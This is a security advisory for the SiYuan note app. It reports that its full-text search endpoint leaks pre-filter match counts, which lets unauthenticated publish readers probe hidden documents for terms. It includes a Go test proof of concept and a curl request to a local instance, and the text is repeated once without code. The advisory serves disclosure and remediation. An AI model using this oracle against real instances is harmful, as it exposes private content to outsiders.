Summary
The reader-facing POST /api/search/fullTextSearchBlock endpoint filters private, hidden, and publish-disabled blocks from the blocks array, but returns search-result counts calculated before that filtering. An unauthenticated publish-mode reader can therefore submit arbitrary search terms and learn whether matching content exists in documents that the administrator has not published, together with the number of matching blocks/documents and the derived page count.
This is a confidentiality issue: the endpoint returns no protected block content in the reproduction below, yet it returns matchedBlockCount: 1, matchedRootCount: 1, and pageCount: 1 for a term present only in a hidden document.
Details
The route handler in kernel/api/search.go obtains all five values from the search model and then filters only the block slice for read-only/publish readers:
blocks, matchedBlockCount, matchedRootCount, pageCount, docMode =
model.FullTextSearchBlockInBoxWithHPathContext(...)
if model.IsReadOnlyRoleContext(c) {
publishAccess := model.GetPublishAccess()
blocks = model.FilterBlocksByPublishAccess(c, publishAccess, blocks)
}
ret.Data = map[string]any{
"blocks": blocks,
"matchedBlockCount": matchedBlockCount,
"matchedRootCount": matchedRootCount,
"pageCount": pageCount,
"docMode": docMode,
}
The same handler is present at kernel/api/search.go in the v3.8.1 revision, approximately lines 559–590. The search model computes pageCount directly from the pre-filter count, and its search branches populate matchedBlockCount and matchedRootCount before the API-level publish filter is called 3. Consequently, publish filtering can produce an empty blocks array while the numeric fields still describe private matches.
The related semanticSearchBlock and listInvalidBlockRefs reader paths also return count fields after filtering only their block arrays. The PoC below focuses on the ordinary full-text endpoint and does not rely on SQL mode, regular expressions, privileged credentials, production data, or any denial-of-service behavior.
PoC
The following test is self-contained and uses only a temporary workspace, synthetic documents, and a temporary SQLite database. It creates one public document and one hidden document, indexes both, sends a reader-role request containing a term that exists only in the hidden document, and asserts that no private block is returned while the response still reports positive counts.
Save it as kernel/api/search_count_disclosure_poc_test.go in the Siyuan checkout and run:
cd siyuan/kernel
GOMAXPROCS=2 go test -tags fts5 ./api -run '^TestSearchCountDisclosure$' -count=1 -v
Expected evidence from the tested v3.8.1 checkout:
search_count_disclosure_poc_test.go:123: reader response: {"code":0,"msg":"","data":{"blocks":[],"docMode":false,"matchedBlockCount":1,"matchedRootCount":1,"pageCount":1}}
--- PASS: TestSearchCountDisclosure (0.05s)
PASS
ok github.com/siyuan-note/siyuan/kernel/api
Complete PoC source:
package api
import (
"encoding/json"
"net/http"
"net/http/httptest"
"os"
"path/filepath"
"strings"
"testing"
"github.com/88250/lute/ast"
"github.com/gin-gonic/gin"
"github.com/siyuan-note/siyuan/kernel/conf"
"github.com/siyuan-note/siyuan/kernel/filesys"
"github.com/siyuan-note/siyuan/kernel/model"
"github.com/siyuan-note/siyuan/kernel/sql"
"github.com/siyuan-note/siyuan/kernel/treenode"
"github.com/siyuan-note/siyuan/kernel/util"
)
// TestSearchCountDisclosure demonstrates that the reader-facing handler can
// return a positive private-match count while returning no private blocks.
// It uses only a temporary workspace and synthetic documents.
func TestSearchCountDisclosure(t *testing.T) {
oldConf := model.Conf
oldWorkspaceDir, oldConfDir, oldDataDir := util.WorkspaceDir, util.ConfDir, util.DataDir
oldHistoryDir, oldTempDir, oldQueueDir := util.HistoryDir, util.TempDir, util.QueueDir
oldDBPath, oldHistoryDBPath := util.DBPath, util.HistoryDBPath
oldAssetDBPath, oldBlockTreeDBPath := util.AssetContentDBPath, util.BlockTreeDBPath
t.Cleanup(func() {
sql.CloseDatabase()
treenode.CloseDatabase()
model.Conf = oldConf
util.WorkspaceDir, util.ConfDir, util.DataDir = oldWorkspaceDir, oldConfDir, oldDataDir
util.HistoryDir, util.TempDir, util.QueueDir = oldHistoryDir, oldTempDir, oldQueueDir
util.DBPath, util.HistoryDBPath = oldDBPath, oldHistoryDBPath
util.AssetContentDBPath, util.BlockTreeDBPath = oldAssetDBPath, oldBlockTreeDBPath
})
root := t.TempDir()
util.WorkspaceDir = root
util.ConfDir = filepath.Join(root, "conf")
util.DataDir = filepath.Join(root, "data")
util.HistoryDir = filepath.Join(root, "history")
util.TempDir = filepath.Join(root, "temp")
util.QueueDir = filepath.Join(util.TempDir, "queue")
util.DBPath = filepath.Join(util.TempDir, util.DBName)
util.HistoryDBPath = filepath.Join(util.TempDir, "history.db")
util.AssetContentDBPath = filepath.Join(util.TempDir, "asset_content.db")
util.BlockTreeDBPath = filepath.Join(util.TempDir, "blocktree.db")
for _, dir := range []string{util.ConfDir, util.DataDir, util.HistoryDir, util.TempDir, util.QueueDir} {
if err := os.MkdirAll(dir, 0755); err != nil {
t.Fatal(err)
}
}
model.Conf = model.NewAppConf()
model.Conf.Lang = "en"
model.Conf.FileTree = conf.NewFileTree()
model.Conf.Editor = conf.NewEditor()
model.Conf.Export = conf.NewExport()
model.Conf.Search = conf.NewSearch()
model.Conf.NotebookCrypto = conf.NewNotebookCrypto()
model.Conf.Sync = conf.NewSync()
const boxID = "20260823000000-box0001"
const publicID = "20260823000001-public1"
const privateID = "20260823000002-private1"
box := &model.Box{ID: boxID}
boxConf := conf.NewBoxConf()
boxConf.Name = "Search count PoC"
boxConf.Closed = false
if err := box.SaveConf(boxConf); err != nil {
t.Fatal(err)
}
sql.InitDatabase(true)
sql.InitHistoryDatabase(true)
sql.InitAssetContentDatabase(true)
treenode.InitBlockTree(true)
t.Cleanup(func() { _ = model.SetPublishAccess(nil) })
addDoc := func(id, title, term string) {
tree := treenode.NewTree(boxID, "/"+id+".sy", "/"+title, title)
tree.Root.FirstChild.Unlink()
node := &ast.Node{Type: ast.NodeParagraph, ID: id + "-child"}
node.AppendChild(&ast.Node{Type: ast.NodeText, Tokens: []byte(term)})
tree.Root.AppendChild(node)
treenode.IndexBlockTree(tree)
if _, err := filesys.WriteTree(tree); err != nil {
t.Fatal(err)
}
sql.IndexTreeQueue(tree)
}
addDoc(publicID, "Public", "publiccanary")
addDoc(privateID, "Private", "privatecanary")
sql.FlushQueue()
if err := model.SetPublishAccess(model.PublishAccess{{ID: privateID, Visible: false}}); err != nil {
t.Fatal(err)
}
body := `{"query":"privatecanary","method":0,"types":{"document":true,"paragraph":true},"subTypes":{},"paths":[],"groupBy":0,"orderBy":0,"page":1,"pageSize":32}`
recorder := httptest.NewRecorder()
c, _ := gin.CreateTestContext(recorder)
c.Request = httptest.NewRequest(http.MethodPost, "/api/search/fullTextSearchBlock", strings.NewReader(body))
c.Request.Header.Set("Content-Type", "application/json")
c.Set(model.RoleContextKey, model.RoleReader)
fullTextSearchBlock(c)
var response struct {
Data struct {
Blocks []json.RawMessage `json:"blocks"`
MatchedBlockCount int `json:"matchedBlockCount"`
MatchedRootCount int `json:"matchedRootCount"`
PageCount int `json:"pageCount"`
} `json:"data"`
}
if err := json.Unmarshal(recorder.Body.Bytes(), &response); err != nil {
t.Fatalf("invalid handler response: %v\n%s", err, recorder.Body.String())
}
t.Logf("reader response: %s", recorder.Body.String())
if len(response.Data.Blocks) != 0 {
t.Fatalf("private blocks were returned: %s", recorder.Body.String())
}
if response.Data.MatchedBlockCount == 0 || response.Data.MatchedRootCount == 0 || response.Data.PageCount == 0 {
t.Fatalf("expected positive unfiltered counts, got: %s", recorder.Body.String())
}
}
For an HTTP-level reproduction against a researcher-controlled local publish instance, configure one visible document and one hidden or publish-disabled document, then submit the following request as an unauthenticated publish reader. Use a term that occurs only in the hidden document:
curl -sS -X POST 'http://127.0.0.1:6806/api/search/fullTextSearchBlock' \
-H 'Content-Type: application/json' \
--data-binary '{
"query":"PRIVATE_SEARCH_CANARY",
"method":0,
"types":{"document":true,"paragraph":true},
"subTypes":{},"paths":[],"groupBy":0,"orderBy":0,
"page":1,"pageSize":32
}'
The vulnerable behavior is present when the JSON response contains an empty data.blocks array but positive data.matchedBlockCount, data.matchedRootCount, or data.pageCount values corresponding to the hidden document.
Impact
A remote unauthenticated publish reader can use this endpoint as a content-existence oracle against documents that the administrator intentionally hid or disabled from publication. By varying search terms, an attacker can confirm private words, project names, client names, identifiers, or other distinctive phrases and can infer the number of private matching blocks/documents. This leaks information across the configured publication boundary even though the actual matching blocks are correctly removed from the response.
The issue does not require SQL mode, administrator credentials, a publish password, JavaScript execution, file access, or interaction with another user. The direct confidentiality impact is limited to metadata and search-term presence; the endpoint does not disclose the matching block body in the supplied reproduction.
Suggested remediation
Apply publication filtering before calculating counts, or recalculate matchedBlockCount, matchedRootCount, and pageCount from the filtered result set. For paginated searches, the robust approach is to constrain the search query itself to publish-accessible roots before counting and paging, rather than filtering only the current page after the database query. The same invariant should be applied to semanticSearchBlock and listInvalidBlockRefs so count fields cannot describe protected results.
References
Summary
The reader-facing
POST /api/search/fullTextSearchBlockendpoint filters private, hidden, and publish-disabled blocks from theblocksarray, but returns search-result counts calculated before that filtering. An unauthenticated publish-mode reader can therefore submit arbitrary search terms and learn whether matching content exists in documents that the administrator has not published, together with the number of matching blocks/documents and the derived page count.This is a confidentiality issue: the endpoint returns no protected block content in the reproduction below, yet it returns
matchedBlockCount: 1,matchedRootCount: 1, andpageCount: 1for a term present only in a hidden document.Details
The route handler in
kernel/api/search.goobtains all five values from the search model and then filters only the block slice for read-only/publish readers:The same handler is present at kernel/api/search.go in the v3.8.1 revision, approximately lines 559–590. The search model computes
pageCountdirectly from the pre-filter count, and its search branches populatematchedBlockCountandmatchedRootCountbefore the API-level publish filter is called 3. Consequently, publish filtering can produce an emptyblocksarray while the numeric fields still describe private matches.The related
semanticSearchBlockandlistInvalidBlockRefsreader paths also return count fields after filtering only their block arrays. The PoC below focuses on the ordinary full-text endpoint and does not rely on SQL mode, regular expressions, privileged credentials, production data, or any denial-of-service behavior.PoC
The following test is self-contained and uses only a temporary workspace, synthetic documents, and a temporary SQLite database. It creates one public document and one hidden document, indexes both, sends a reader-role request containing a term that exists only in the hidden document, and asserts that no private block is returned while the response still reports positive counts.
Save it as
kernel/api/search_count_disclosure_poc_test.goin the Siyuan checkout and run:Expected evidence from the tested v3.8.1 checkout:
Complete PoC source:
For an HTTP-level reproduction against a researcher-controlled local publish instance, configure one visible document and one hidden or publish-disabled document, then submit the following request as an unauthenticated publish reader. Use a term that occurs only in the hidden document:
The vulnerable behavior is present when the JSON response contains an empty
data.blocksarray but positivedata.matchedBlockCount,data.matchedRootCount, ordata.pageCountvalues corresponding to the hidden document.Impact
A remote unauthenticated publish reader can use this endpoint as a content-existence oracle against documents that the administrator intentionally hid or disabled from publication. By varying search terms, an attacker can confirm private words, project names, client names, identifiers, or other distinctive phrases and can infer the number of private matching blocks/documents. This leaks information across the configured publication boundary even though the actual matching blocks are correctly removed from the response.
The issue does not require SQL mode, administrator credentials, a publish password, JavaScript execution, file access, or interaction with another user. The direct confidentiality impact is limited to metadata and search-term presence; the endpoint does not disclose the matching block body in the supplied reproduction.
Suggested remediation
Apply publication filtering before calculating counts, or recalculate
matchedBlockCount,matchedRootCount, andpageCountfrom the filtered result set. For paginated searches, the robust approach is to constrain the search query itself to publish-accessible roots before counting and paging, rather than filtering only the current page after the database query. The same invariant should be applied tosemanticSearchBlockandlistInvalidBlockRefsso count fields cannot describe protected results.References